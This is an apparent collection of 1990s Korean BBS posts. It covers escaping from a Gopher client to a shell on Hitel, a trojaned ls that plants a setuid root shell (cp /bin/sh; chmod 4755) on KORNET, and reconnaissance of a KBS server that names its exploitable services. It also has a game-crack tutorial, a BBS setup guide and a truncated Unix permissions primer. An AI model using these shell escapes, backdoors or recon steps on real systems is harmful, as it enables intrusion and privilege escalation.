q text/html                   lynx -force_html %s                             q
q text/richtext               richtext %s|Less -f -r                          q
q text/rip                    showrip %s                                      q
q text/tab-separated-values   builtin                                         q
q text/x-dvi                  xdvi %s                                         q
q text/x-tex                                                                  q
q text/x-troff                nroff %s|more -d                                q
q message/rfc822              builtin                                         q
q image/gif                   |xv -                                           q
q image/ief                                                                   q
q image/jpeg                                                                  q
q image/ppm                   |xv -                                           q
q image/tiff                  tifftopnm|xv -                                  q
q                                                                             q
q [Help: ^-]  [Cancel: ^C]  [Accept: ^X]  [Next field: TAB]                   q

위에서 우리가 눈여겨 보아야 할 항목은..

q Terminal/telnet             telnet %s                                       q
q Terminal/tn3270             tn3270 %s                                       q

이 항목입니다. 특히
 Terminal/telnet             telnet %s  <= 이부분을 바꿈으로써
우리는 그 유닉스의 어떤 명령어든지 사용할 수 있습니다.
여기서 %s 라는 것은 인수를 전달 받을 것을 의미합니다.
C 프로그램을 아신다면 %s 는 문자열을 말하는 것임을
짐작하겠죠?

그럼이제 우리는 telnet %s 라는 항목을 없애고
/bin/sh 라고 바꿈니다.
그러면 이렇게 되는 거죠?

ejjjjjjjjjjjjjjjjjjjjjjjConfigure Display Applicationsjjjjjjjjjjjjjjjjjjjjjjjjd
q                                                                             q
q Text                        builtin                                         q
q text/plain                  builtin                                         q
q audio/basic                 |play -v 40 -&                                  q
q Image                       xv %s                                           q
q Terminal/telnet             /bin/sh                                         q
                              ( 윗부분이 변했죠?)
q Terminal/tn3270             tn3270 %s                                       q
q text/html                   lynx -force_html %s                             q
q text/richtext               richtext %s|Less -f -r                          q
q text/rip                    showrip %s                                      q
q text/tab-separated-values   builtin                                         q
q text/x-dvi                  xdvi %s                                         q
q text/x-tex                                                                  q
q text/x-troff                nroff %s|more -d                                q
q message/rfc822              builtin                                         q
q image/gif                   |xv -                                           q
q image/ief                                                                   q
q image/jpeg                                                                  q
q image/ppm                   |xv -                                           q
q image/tiff                  tifftopnm|xv -                                  q
q                                                                             q

그럼 우리는 Ctrl + x 를 누릅니다.

그러면 초기 화면으로 바뀌죠.

                    Home Gopher server: gopher.kornet.nm.kr

 -->  [1]  KORNET 새소식/
      [2]  KORNET 가입안내/
      [3]  KORNET 서비스/
      [4]  게임 광장/
      [5]  문헌 정보/
      [6]  KORNET 접속/
      [7]  Client Program set-up 및 이용/
      [8]  WEB Home Page 작성법/
      [9]  KORNET 사용자를 위한 FAQ/




그러면 이젠 W 나 w 를 눌러보세요.그럼 이런 화면이 나옵니다.


                    Home Gopher server: gopher.kornet.nm.kr

 -->  [1]  KORNET 새소식/
      [2]  KORNET 가입안내/
      [3]  KORNET 서비스/
      [4]  게임 광장/
      [5]  문헌 정보/
      [6]  KORNET 접속/
ejjjjjjjjjjjjjjjjjjjjjjjjjjjConnect to a new serverjjjjjjjjjjjjjjjjjjjjjjjjjjjd
q                                                                             q
q http, gopher, ftp, telnet or tn3270 URL to connect to:                      q
q                                                                             q
q                                                                             q
q                                                                             q
q [Help: ^-]  [Cancel: ^C]  [Accept: ^X]  [Next field: TAB]                   q
fjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjc


커서는
http, gopher, ftp, telnet or tn3270 URL to connect to: 밑에
있겠죠?

그러면 우리는 이렇게 입력하면 됩니다.

telnet://

위를 입력하고 엔터를 누르세요.
그러면 이런 화면이 나옵니다.

                                 KORNET 새소식

 -->  [1]  동호회 시삽공모 및, 지원 안내               (97.07.18)
      [2]  콜보너스 안내                               (97.07.12)
      [3]  코넷 소백시스템 설치장소 이전 안내          (97.07.09)
      [4]  ?jjjjjjjjjjjjjjjjjjjjjjtelnet://jjjjjjjjjjjjjjjjjjjjjjd
      [5]  훢                                                     q
      [6]  햝  Warning!!!!!, you are about to leave the Internet  q
ejjjjjjjjjjjq  Gopher program and connect to another host. If     qjjjjjjjjjjjd
q           q  you get stuck press the control key and the        q           q
q http, gophq  ] key, and then type quit                          q           q
q           q                                                     q           q
q telnet:// q  Connecting to , port 23 using telnet.              q           q
q           q                                                     q           q
q [Help: ^-]q                                                     q           q
fjjjjjjjjjjjq                                                     qjjjjjjjjjjjc
      [15] 퇽                          [Cancel - ^C] [OK: Enter]  q
            fjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjc

그러면 우리는 다시 엔터를 누르세요.
그러면 화면이 깨끗해지고
$
위의 $ 표시가 나오죠? 바로 유닉스 프롬프트 입니다.
id 를 치면 하이텔 비비에스의 계정 로그인이 되겠죠?
bbs 계정요.

그럼 성공한겁니다.

바로 하이텔 해킹.. 3~4달 전에 되었던 것이었습니다.

모든 사람들이 꿈에도 그리던 해킹이 바로 이런 방법이었습니다.
위의 방법대로 해서 성공했었을때(3~4달전) 하이텔을 없앨수도
있다는 거죠.
그건 진짜 나쁜놈들이 하겠죠?
그런 사람을 바로 크래커라고 합니다.

이젠 그 버그는 모든 통신망에 막혀 있습니다.

해보세요.. 대문자 O를 누르자 마자 권한이 없다면서
설정자체를 막아놓았기 때문이죠.

하이텔 해킹 알고보면 별거 아니죠?
80% 버그는 언제나 외부 프로그램 실행중에 있습니다.
왜냐.. 제어권이 비비에스에서 유닉스로 넘어가기 때문이죠.

언제나 외부 프로그램을 비비에스에서 실행이 가능하게
만들때는 외부 프로그램의 소스를 구해다가 옵션등을 고쳐서
사용하지 못하게 한후 컴파일해서 올리는 것이 상식입니다.
하지만 실수란것이 있겠죠?

제  목: [해킹] kornet (코넷) 해킹을 했던 사람

코넷을 관리하는 사람은 아주 많아요.
root 도 있구요.. koradm gazete(보안 수사대) .. 에공 까먹었다.
하도 오래전 일이라서요..

코넷에 어떤 일이 벌어졌었냐면요.. 많은 해커&크래커들이
아주 난리를 치는 곳이었습니다.
그곳 해킹에 성공하면서 아주 많은 사람들이 그곳 루트를 이미 잠재적
으로 점령했더군요.
아주 많은 사람들요.
많은 백도어들이 존재하였고.. 그중 아주 웃기는 백도어는.
코넷 계정 cybertac 라는 사람이 있었거든여? 지금은 짤렸더군요.
그 cybertac 라는 사람이 해킹을 시도 하려고 한것은 바로
ls 라는 명령어를 변경시켰었어요.
즉.. 코넷에는 ls 라는 명령어가 두군데에 잇어요.

[soback1:/user/kor/????]# whereis ls
ls: /usr/bin/ls /usr/ucb/ls /usr/man/man1/ls.1 /usr/man/man1b/ls.1b
[soback1:/user/kor/????]# ls -al /usr/bin/ls
-r-xr-xr-x   1 bin         16644 May  3  1996 /usr/bin/ls
[soback1:/user/kor/????]# ls -al /usr/ucb/ls
-rwxr-xr-x   1 bin         13612 May  3  1996 /usr/ucb/ls

이렇게 되어있습니다. 코넷의 경우에요 그런데 그 cybertac 라는 사람이
솔라리스의 chkperm 의 버그를 이용해서 bin 계정을 획득했더군요.
( 21번 유/리 해킹 경험담란에서 lt chkperm 이라고 하면 자세히..)
그후에 그는 루트를 얻지 못하였었어요. 그러나 그는 트로이 프로그램을 만들어서
ls 라는 프로그램을 변경시켰습니다.
위에서 보시다 시피 코넷의 ls 명령어의 권한은 bin 입니다.
하지만 ls 명령어를 변경하려면 지우고 새로 만들어야겠죠? 그렇게 하려면 ls 가
있는 디렉토리가 bin 이 마음대로 쓸수 있는 환경이 있어야 해요.
즉. /usr/bin 디렉토리의 소유는 root 이고 아무나 쓰지 못하는 모드로 되어있을때
/usr/bin 디렉토리에 일반 유저가 파일을 생성할수 없어서 변경을 못하죠.
하지만 ls 는 /usr/bin 뿐 아니라 /usr/ucb라는 디렉토리에도 하나 있어요.
과거에 코넷의 /usr/bin 디렉토리는 root 권한 /usr/ucb 디렉토리는 bin의 권한으로
되어있었죠. 지금은 root 로 변경되었어요.
그래서 cybertac라는 사람은 /usr/ucb라는 디렉토리의 ls 명령어를 교환할 수 있었죠.

그는 bin 계정을 획득하였으니까요.
그는 ls 명령어를 어떻게 변경하였냐면은..

1) ls 명령어를 실행한 사람의 uid를 구분한다.
2) 만약 실행한 사람의 uid 가 0 일 경우 루트쉘을 자기 홈디렉토리에다가
   만들어 놓는다.
   ex ) cp /bin/sh ~cybertac/
        chmod 4755 ~cybertac/sh
3) 만약 일반 유저.. 즉 uid 가 0 이 아닌 유저라면은 그냥 ls 를 실행한다.
   /usr/bin/ls

대충 이런 형식이었습니다.
대단하죠? ( 사실 무식한거임.. -.-; )

그러나 그는 들켰습니다.
그 변경한 ls 가 아마도 걸린거 같았더군요. 그 후 그 사람은 계정 삭제가 되었고
그후에 어떤 일이 벌어졌는지 모르겠군요.
아마도 그 사람을 잡으려고 해커수사대(gazete <= 나이 드신 분)가 떳었나봐요.


제  목: [참고] 에듀넷 해킹은..

지금 다시 에듀넷 가보니깐 버그가 막혀있더군요.
하이텔도 마찬가지로 막혀있어요.
한달전까지만 해도 잘 통하던 버그가.
에듀넷의 버그는 바로 telnet 접속을 해주는 곳이 문제였죠.
에듀넷 초기화면 -> 25. 인터넷 문자 서비스 -> 32번 telnet
여기서 32번 telnet 에서 그냥 쉘로 빠짐니다.
! 나 z 같은 커맨드를 써서 쉘로 빠지지 않습니다.
절대로.
이것에서 쉘로 나가려면 프로그램지식과 유닉스에 대한
지식이 있어야 합니다.
바로.. 구분특수 문자에 대해서 잘 알면 되죠.
비슷한 예로 IFS 라는 것이 있어요.
이곳 강좌란에 있어요.
이곳 강좌란 글 제대로 읽었다면 에듀넷 해킹은 식은죽
먹기였어요.
그것을 모르시고 계셨다니
킥킥
이젠 늦었어요.
다 막혔더군요.
쩝..
이젠 다른 곳을 찾으러 돌아다녀야 할듯..
언제나 노력하는 습관을 기르세요.


제  목: [정보] KBS 홈페이지 해킹 가능성...

가능성이 보이더군요.
그곳 서버는 초보가 운영하는지.. 아주 허술한점이 많이 보여요.
그 증거가..여기 있습니다.

# rusers -l www.kbs.co.kr
root         www.kbs.co.kr:console     Apr  2 09:50   26:50
root         www.kbs.co.kr:pts/0       Apr 14 10:59  129:27

위에서 보다 시피 kbs 서버의 현재 로그인 상황을 알려주더군요.

우선 가능성이 보입니다.

이번에는

# telnet www.kbs.co.kr 25
Trying 210.115.192.7...
Connected to kbsnt.kbs.co.kr.
Escape character is '^]'.
220-kbsnt.kbs.co.kr Sendmail 8.6.12h2/8.6.9 ready at Sun, 19 Apr 1998 02:29:41 -
0900
220 ESMTP spoken here
quit
221 kbsnt.kbs.co.kr closing connection
Connection closed by foreign host.

KBS 서버의 센드 메일 버젼이 8.6.12 버젼..
버그가 상당히 많기로 말이많은 8.6.12 버젼이더군요.
리모트 버그가 존재 합니다.
또한 \n 버그또한 존재하구요.

# rpcinfo -p www.kbs.co.kr
   program vers proto   port  service
    100000    4   tcp    111  rpcbind
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100024    1   udp  32772  status
    100024    1   tcp  32771  status
    100232   10   udp  32773  sadmind
    100011    1   udp  32774  rquotad
    100021    3   udp   4045  nlockmgr
    100021    4   udp   4045  nlockmgr
    100012    1   udp  32776  sprayd
    100008    1   udp  32777  walld
    100001    2   udp  32778  rstatd
    100001    3   udp  32778  rstatd
    100001    4   udp  32778  rstatd
    100068    2   udp  32779
    100068    3   udp  32779
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100005    1   udp  32781  mountd
    100005    2   udp  32781  mountd
    100005    3   udp  32781  mountd
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
    100005    1   tcp  32775  mountd
    100005    2   tcp  32775  mountd
    100005    3   tcp  32775  mountd
1342177279    3   tcp  32776
1342177279    1   tcp  32776
1342177279    2   tcp  32776
 쓸데 없이 띄운 데몬들이 많군요.

KBS 홈페이지 웬지 가능성이 보이지 않나요?
센드 메일상의 버그..
서버 안의 모든 상황을 볼수 있는 현상..
statd 데몬이 떠있더군요.. ^^;
rusersd 데몬이 떠 있기에 rusers 명령이 먹히겠죠..

# telnet www.kbs.co.kr 80
Trying 210.115.192.7...
Connected to kbsnt.kbs.co.kr.
Escape character is '^]'.

HTTP/1.1 400 Bad Request
Server: Netscape-Enterprise/3.0

Your browser sent a message this server could not understand.Connection closed b
y foreign host.

웹으로 들어가보았네요.
넷스케이프-엔터 프라이즈/3.0 음..

수 많은 버그들..








 제  목: [강좌] pctools 로 크?

                           크랙 만드는 법~

 크랙을 못만드셔서 전화비를 헛되이 허비하시는 분들이 계십니다.
 그런 분들은 생각해서 제가 크랙을 만드는 법을 알려드리죠.
 우선 PCTOOLS 로 크랙하기 입니다.

  1. PCTOOLS 로 크랙하기
    이 프로그램이 쓸모없다고 지우시는 분들이 계신데
    지우셨다면 좋은 에디트 프로그램을 버리신겁니다.
    크랙을 하고자하는 게임이 있는 디렉토리로
    갑니다. 그곳에서 PCTOOLS 를 실행 시키세요.

    그런다음 암호관련 파일이 있을거라고 예상되는
    파일을 적어놓으세요.(여기서 주의 하실점은
    크랙하실 파일은 다른곳에 COPY 를...)
    그런다음 원하는 파일에가서 'E' 키를 누르세요.
    그럼 키워드를 넣을수가 있습니다.
    이렇게 되면~ 두자리 숫자가 가득찬 화면을 보실 수
    있습니다. 거기서 F3 키를 누르세요.
    그럼 커서가 깜박깜박 거립니다.
    그래서 만약 00 이란 숫자가 많으면
    제대로 들어오신거고 아니면
    실패입니다. 실패하셨을땐
    ESC 키를 누르셔서 취소시키시고
    다른 파일을 EDIT 하시면 됩니다.
    성공했을때는 벌써 크랙이 80% 는 성공한 겁니다.
    자 이제 00이라고 되지 않고

    4D FF FG CG ....... 이런식으로 되어 있는 부분을
    모두 다 00 으로 고치세요.
    그런후 F5 를 누르셔서 SAVE 를 시키신후에
    게임을 실행시키면 평소때 나오던 패스워드 화면이
    안나오고 그냥 지나쳐 가거나 아무키만 눌러도 게임이
    실행이 됩니다

  2. GAME WIZARD 로 크랙하기
    게임 위저드는 게임 에디터 프로그램입니다.
    구하기가 만만치 않은 프로그램인데
    근데 알아두실점은 이 프로그램으론
    크랙 만들기가 쉽지만
    사용이 불편하다는 겁니다.
    우선 게임을 실행시킵니다. (예를 들어 삼국지3)
    그럼 이런 화면이 뜹니다.

    +------------------+
    |INPUT CODE:_      |
    |Page 14           |
    +------------------+
    14page 의 암호가 ABCD 라고 가정하면.

    +------------------+
    |INPUT CODE:abcd   |
    |Page 14           |
    +------------------+
    라고 입력한 후 엔터를 치지 마시고~
     ~  키를 누르셔서
    게임 위저드를 불러오세요.
    거기서 SAVE ..... 라고 되어있는

    박스를 선택해서
    저장할 화일명을 넣습니다. ( 예를 들어 SAM3 )
    그런후 및에 칸에다 2줄 정도 되는 간단한
    화일에 대한 설명을 넣을수 있습니다.
    자 이런후 게임위저드,삼국지 3 를
    모두 종료 시킵니다.
    그런후 다시 삼국지 3 를 실행시키세요.
    그러면 또 패스워드를 물어오는 화면이 나옵니다.
    여기서 또다시 게임위저드를 불러와서
    LOAD ...... 라고 되어있는 부분을 선택하세요.
    그런후 화일명에서 SAM3 를 입력하세요.
    그러면... 화면이 아까 것과 똑같이 나옵니다.
    거기서 엔터만 치면 게임이 실행되죠~


ps. 참고사항 123456789ABCDEF 는 16진수에서 사용하는 숫자들입니다.
     보통 10진수에서는 12345678910 이렇게 나가죠? 16진수는 F가 최고랍니다.

제  목: 쉽게 비비에?만들기

(1). 만들기 전에 준비해야 할것..

   * 일단 컴퓨터와 모뎀이 있어야 겠죠.

     컴퓨터는 386이상을 권장합니다. 안그러면 아마 쓰기 힘들꺼예요.
     물론 XT 등에서도 할 수는 있을꺼예요..

   * 호스트 프로그램이 있어야 합니다.

     호스트 프로그램이란?
     비비를 운영하기 위해 쓰는 운영프로그램입니다.
     등대 ,곰주인 ,푸른물,호롱불 등이 있습니다.
     마음 내키는대로 써 보세요.

   * 하드디스크가 여유가 있어야 합니다.

     하드가 최소한 200 메가는 있어야 자료들을 많이 담을수 있습니다.

   * 운영시간대를 정해야 합니다.

     안정된 비비를 만들기 위해선 이것이 필수조건입니다!
     운영시간이 안 맞으면 아마 꽤 고생을 할거예요.
      (이 사항은 나중에 제가 자세히 설명을 합니다.)


    자 이제 준비가 다 돼셨는지요?
    위의 내용만 충족해도 비비를 만드는데는 아무 이상이 없습니다.


--------------------------------------------------------------------------
----

(2). 주의 사항

  * 운영시간대를 잘 정해야 합니다.

    보통 저녁 11:00 부터 새벽 6:00 까지 하는 경우가 많습니다.
    왜냐면 보통 시간대에는 집전화를 많이 쓰기 때문이죠.
    보통 비비를 운영하는 집에서 전화를 받아보면 통화중인 경우가
    많은데 그건 회원들이 시간을 안지키고 전화를 해서 그런거지요.


    추천 : 그냥 전화국에 가서 전화번호 하나 더 만들면 장땡입니다.
           하나 만드는데 24 만원 정도 ?

  * 절대로 더블스페이스같은 하드 압축프로그램을 쓰지 마세요.

    하드가 꽉 찼다고 하드압축을 하시는 분들이 있는데요.
    더블스페이스같은 하드 압축프로그램은 자살행위나 마찬가지입니다.
    그런걸 쓰는것은 하드디스크의 속도도 느려질뿐만 아니라 늘려지는
    용량도 별로 안  ┥니다. 왠만하면 하드 하나 사세요.

--------------------------------------------------------------------------
----


   기본적인 준비 사항들

  1. 일단 호스트 프로그램을 정합니다.

     호스트 프로그램이 뭔지는 대충 짐작이 가셨겠죠?
     이런 프로그램들은 천리안 나우누리 하이텔 등의 자료실에
     가보면 있습니다.

   * 제가 추천하는 것은 '등대' 입니다.
     그건 비비초보자들을 위해 쉽게 만들어졌기 때문이죠.
     뮈니뮈니해도 CFG 설정을 쉽게 할 수있습니다.

  2. 비비의 이름을 정합니다.

     이건 그 비비의 성격을 알 수 있게 정하는게 좋을것 같습니다.
     예를 들면 게임에 대해서 선전할려면  '게임나라'  나 '게임천국'  등..


  3. 운영시간을 정합니다.

     잘 정해야 안정된 비비가 된다는것을 아시죠?

   * 참  고

   초보자들은 무슨 호스트가 좋은지 잘 모르실겁니다..
   제가 각 호스트에 대한 설명을 조금 요약해 봤습니다..


  ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯

  ┯                ┯                ┯              ┯                ┯
  ┯      등대      ┯     호롱불     ┯   곰주인     ┯     푸른물     ┯
  ┯                ┯                ┯              ┯                ┯

  ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯
  ┯   강력 추천.   ┯ CFG 파일을 만  ┯ 많이 쓰이고  ┯  메모리가 없   ┯
  ┯  쓰기 편하다.  ┯ 드는데 시간이  ┯ 있는 호스트. ┯으면 쓰기 힘들다┯
  ┯사용자를 편하게 ┯ 많이 걸린다... ┯  꽤 좋다..   ┯이 호스트도 많이┯
  ┯  하도록 했음   ┯ 기능이 좋음..  ┯푸른물과 비슷.┯    쓰인다.     ┯
  ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯



--------------------------------------------------------------------------
----
--


    호스트를 정하셨으면 이제 시작해 봅시다.
    여기서는 제가 적극 추천하는 등대를 가지고 해 보겠겠습니다.

    1. 일단 호스트를 구합니다.
    2. 그 다음 SETUP 을 실행시킨 다음 환경을 설정 합니다.
    3. 그 다음은 메뉴 구성입니다.
       메뉴는 트리구조 형식으로 돼어있습니다.
       아래 그림을 참조하시고요.

      예를 들면

      초기화면   서비스  가입신청
               ┕          운영자에게
               ┕          정보변경
               ┕          회원조회
                           도 움 말
               ┕
                 게시판  이야기 마당
               ┕          사고 팔고
               ┕          묻고 답하고
               ┕          바보바보바보
               ┕          낙서장
               ┕
                 채팅    이야기한판
               ┕          메모장
               ┕
                 자료실  게임 자료실
               ┕          통신 자료실
               ┕          개거지 자료실
               ┕
                 동호회  기업 포럼-큰사람
                          ┕
                           바보바보바보  게임 동호회
                          ┕              안시 동호회
                          ┕              프로그램 동호회
                          ┕
                           동아리        토론장
                          ┕              오줌
                          ┕
                           작은 모임     친목  와와오아
                                         ┕      바보 모임
                                         ┕
                                          학교  울 학교
                                         ┕      니네 학교
                                         ┕
                                          지역  서울시민 모임
                                                 우리집 모임
                                                 천재 모임

     보통 이런 식으로 되어있는데.
     이걸 일일이 직접 문서작성기를 이용해서 만들기가 어렵죠.
     그래서 이단점을 고친게 푸른물과  등대인데, 제가 이래서그걸 권하는
     겁니다.(등댜와 푸른물은 setup에서 자기가 마음대로 고칠수 있습니다
     .)
     어튼간, 이런 형식을 컴퓨터에서 하려면 디렉토리를 따로 만들어야 겠
     지요.
     그러니까

     text  10000 11000
          ┕      12000
          ┕      13000
          ┕
           20000 21000
          ┕      22000 22100
          ┕             22210 22211
          ┕            ┕      22212
          ┕             22300
          ┕
           30000  31000
                   32000 32100
                          32200

                          ...
      이런식입니다.

      (등대나 푸른물의 압축을 푸시고 나서 setup을 실행시키시면 알아볼
       수 있습니다.)

      *참고:등대는 setup , 푸른물은 gumdong

      처음 운영하시는 분들은 그 예제를 그냥 고치는 선에서 사용하시는것
      이 안전하고 편할겁니다.

      그리고 메뉴에도 종류가 있는데 ,

       상위메뉴 - 10000 과 11000이 있다면 10000이 상위메뉴란 뜻입니다.
                  곧, 하위메뉴로 들어갈수 있는 분기점이 상위메뉴입니다
                  .
                  그러니까 자료실   통신 자료실
                                    게임 자료실

                  중에서 자료실이 상위메뉴가 되는것이고 나머지가 하위
                  메뉴입니다. 한마디로 여기는 아무것도 없는것이죠.

        글쓰기 메뉴(게시판 메뉴) - 말그대로 게시판 메뉴입니다.
                                   글을 작성할수 있는 메뉴입니다.

        자료실 메뉴 - 자료실메뉴입니다. 업다운을 할수있습니다.

        동호회 메뉴 - 말그대로 동호회를 운영하는 메뉴입니다.

        온라인 게임 메뉴 - 온라임게임을 할수 있는 메뉴

        그외 메뉴들은 부수적인 것들이니 각자 호스트에 포함되어 있는
        사용설명서를 보시기 바랍니다.

   E. 호스트의 로고를 정합니다.

      이것은 대형비비 같은 경우에는 텍스트 화면을 쓰는데, 사설비비는
      안시를 쓰는 경우도 있습니다. 여기서 안시란 한마디로 말해
      통신에서 그래픽을 쓸수 있게 하는것을 말합니다.

      안시는 비교적 깔끔하게 하는것이 사용자들이 사용하기에 편리합니다
      괜히 복잡하면 짜증나죠.

      안시 사용법은 알아서 알아보세요.(왜냐하면 그것마저 설명하면 너무
      복잡해 집니다. 솔직히 말해 몰라요.)

      사용법은 메뉴정하는데 밑에 보면 화면파일이라는 데가 있는데 거기
      다가 자기가 작성한 로고를(이건 이야기의 문서작성기로) 집어넣으면
      됩니다.

   F. 프로토콜을 정합니다.

      이것또한 매우 중요한것으로써 ,비비에스의 핵심인 자료 업다운과 관
      계가 있습니다.
      setup상에 있는 프로토콜 편집기로 가면 보통 dsz로 설정되어있습니
      다.(이것만 쓰셔도 무방합니다.)
      다른 프로토콜을 쓰시려면 그 프로토콜의 옵션을 알아서 거기다 입력
      하시면 됩니다.

G. 그 외 잡다한것들을 설정합니다.

      가. 시간은행 : 보통 사설 비비에스는 운영시간의 한계와 노드의 한
                     계로 시간제라는걸 이용하는데 이것은 한마디로 말해
                     일정 시간을 정해놓고 그 시간만 사용하는것입니다.

                     그러니까 a란 사람이 접속했을때 사용할수 있는시간
                     은 30분으로 정하면 그 사람의 사용시간이 30분을 넘
                     으면 전화가 자동으로 끊깁니다.

                     사용시간을 늘리고 싶다면 활동을 많이 해서 레벨을
                     향상시키면 그만큼 사용할 시간이 늘어납니다.

      나. 온라인 게임: 보통 통신상에서 게임을 하는것인데 우리가 생각하
                       는 쥬라기공원 이나, 단군의 땅 같은게 아니라
                       보통 가위 바위 보,숫자 맞추기 정도가 고작입니다
                       그러나 여기서 이기면 시간이 늘어나고 지면 깎이
                       는 옵션을 주면 재미있겠죠.(푸른물의 경우 온라인
                       게임 옵션을 붙일수 있음.)

      다. 운영자 아이디: 진짜 잡다한것. 보통 sysop, 운영자로 하지만
                         자기 마음대로 아이디를 넣을수 있습니다.

      라. 운영시간   :이건 알아서 정하시고 24시간 하시려면 25라고 입력
                      합니다.

      마. 업다운 보상점: 이건 업로드를 하면 그에 합당한 보상을 하는것으로
                        써 보통 1:2로 되어있습니다.
                        업로드를 하나하면 2개를 다운받을수 있다는거죠.
                        시간도 보상하는데 업하는데 소비한 시간만큼을
                        보상합니다.(2배로) 그러나 이것은 시삽이 임의대로
                        고칠수 있습니다.


4. 이제 시험 운영을 해봅시다~.

    이제 실행시켜 봅시다. 그럼 폰트와 디렉토리를 읽으면서 비비에스가
    시작됩니다.
    가끔 runtime error 등의 메세지가 나오면서 실행이 안되는 경우가 있는데
    그건 setup에서 잘못지정하거나 모르는 문제가 생긴것이므로 Setup에서
    다시 고치거나 아니면 다시 압축을 푸시기 바랍니다.

    실행이 됐다면
    1.라디오 같은 화면이 뜨면서 대기 상태에 있습니다.
    2.그러면 그때에 ins키를 눌러 로컬로 접속을 합니다.
      (로컬접속이란 운영자가 가상으로 접속해서 비비에스의문제를파악하는 것을
       말합니다.)
    3.그렇게 되면 로고가 뜨면서 login'비비이름'을 입력하라고 하는데(초기치)
      그때 입력하고 엔터를 치면 공지사항이 나옵니다.
      공지사항엔 아무것도 없겠죠.
      그때 쓰시려고 하지만 쓸수가 없습니다.
      왜냐하면 가입이 안됐기 때문입니다.
      아까 시삽이름을 정했잖아? 라고 하시겠지만 그건 어디까지나 정한거고
      가입을해야지만 됩니다.
      가입을 하시고 F9키를 눌러 레벨과 점수를 최고치로 올려주세요.
      (보통 1000이상이면 시삽의 권한이 주어집니다.)
      그 다음부터는 모든권한이 다 부여됩니다.
    4.이제 그후부터는 여러분의 마음에 따라 비비가 썰렁한 비비가 되느냐
      잘나가는 비비가 되느냐에 달렸습니다. 열심히 합시다~!


5.비비를 운영하는데 몇가지 충고사항 및 권장 사항.

  * 비비가 회원이 많다고 좋은것은 아니죠. 회원이 많으면 그많큼 비비가 조잡
    해집니다. 활동을 많이 하는 회원들만있으라는 법은 없으니까요.
    그러니까 접속이나 활동이 저조한 회원은 가차없이 삭제합시다. 별 도움이
    안되는 인간들이죠.

  * 운영시간에 힘써야 합니다.
    광고를 낼때 운영시간을 화실히 말하지 않으면 시도때도 없이 전화가 걸려옵니

  * 자료에 힘써야 합니다.
    누가 자료없는 썰렁한 비비에 돈날려가면서(전화세) 업을 합니까?
    자료가 많으면(좋으면의 뜻도 됨) 그만큼 그걸 다운받으려고 회원들이
    업을 하게 됩니다. 이것도 비비운영의 성공과 실패의 갈림길이 됩니다.

  *게시판에 관심을 둡시다.
    보통 사설비비는 게시판이 썰렁합니다.
    사설비비가 보통 자료다운을 위해서 생겨났죠.그래서 게시판이 썰렁한데
    게시판 작성시 보상점을 올려주거나 한다면 게시판은 왕성한(?)활동에
    차게 됩니다.

  *회원들과의 잦은 채팅은 피합시다.
    채팅을 너무 오래하면 그만큼 올수 있는회원들이 작아지기 때문에(특히 시간제)
    긴 채팅은 피합시다. 자꾸 접속이 안되면 회원들이 접속을 안하죠.

  *그리고 너무 많은 시간도 주지 맙시다.
   시간을 너무 오래주면 안돼죠.
   결과는 위와 같은 현상이....

  * 왠만하면 하드를 하나 늘리는게 좋습니다.
   비비를 운영하다 보면 100-200메가는 기본으로 까먹습니다. 그러다보면
   하드에 있던 자료를 눈물을 머금고 지우게 됩니다. 그래서 하나 사는게 좋죠.
   더블스페이스 같은 뻥튀기 프로그램은 권장할수 없습니다. 안정성이 떨어져서
   한번 잘못쓰면 그동안의 운영자료가 뻥하고 날라가죠. 그래서 뻥튀기 인가?

  *광고를 자주합시다.
   이건 말할 필요도 없는...권장할만한 것이 있다면 쇼킹하게!!...
   예를 들어

    환상의 게임비비!
    최신종만 있는 게임비비. 레벨낮고 운영자 좋고~
    인터넷에서 직접퍼온 최신자료들이 수두룩~ 폭파하는 자료를 멈출수 없다!
    최신게임이 아니면 취급하지 않습니다.
    (약간 뻥을 쳐줍시다..헤헤)

  *이건 중요한건데 초보자의 실수중 하나죠.
   메뉴를 만들어 놓고 화면파일을 만들지 않으면 있으나 마나 입니다.
   메뉴가 안뜨게 되죠.
   쉽게 말해서 음악동을 만들었는데 그에 대한 화면 파일을 안만들거나 상위메뉴
   에다 써놓지 않으면 있는지 없는지도 모르게 되죠.그것때문에 문의를 많이
   받았어요.

이 정도만 지키면 아마 좋은 비비가 될것임을 확신합니다.

제  목: [강좌] 리눅스에서 실행파일이란?

실행파일이란?
도스에서는 확장자가 exe 이거나 bat 아니면 com 등 이런 종류가 실행을
할수 있는 실행 파일이다.
하지만 리눅스&유닉스에서는 실행파일을 확장자로 구분하는 것이 아니다.
200자나 되는 이름의 실행파일이 있을 수도 있고 암튼 실행파일은 이름이나
확장자로 구분하지 않는게 유닉스&리눅스이다.
그렇다면 어떤것이 실행파일인가?
여기까지 말하면 무엇을 말하는지 아는 사람은 p 를 눌러라.
바로 권한 설정으로 이파일이 실행파일이라고 알려준다.
유/리(유닉스/리눅스 이하)에서는 chmod 이라는 유틸로 권한을 설정할 수있다.
유/리는 멀티 운영체제이기 때문에 파일하나하나에도 소유자가 있어야 하며
또한 권한도 설정되어야 한다.
그래야 시스템을 지킬수가 있지 않은가. 아무나 들어와서 파일 지울수 있다고
하면 어떻겠는가. 살아남을 유/리가 있을까?
바로 권한과 소유권은 이런 이유로 있는 것이다.
빅텔과 같은 통신에서는 아이디와 비번을 입력해서 자신의
고유 아이디로 사용을 한다. 이렇게 해야 남의 파일을 못지우고
바꿀수가 없게 되는 것이다.
유/리도 마찬가지다. 이제 권한,소유권의 존재 의미를 이해했을꺼라
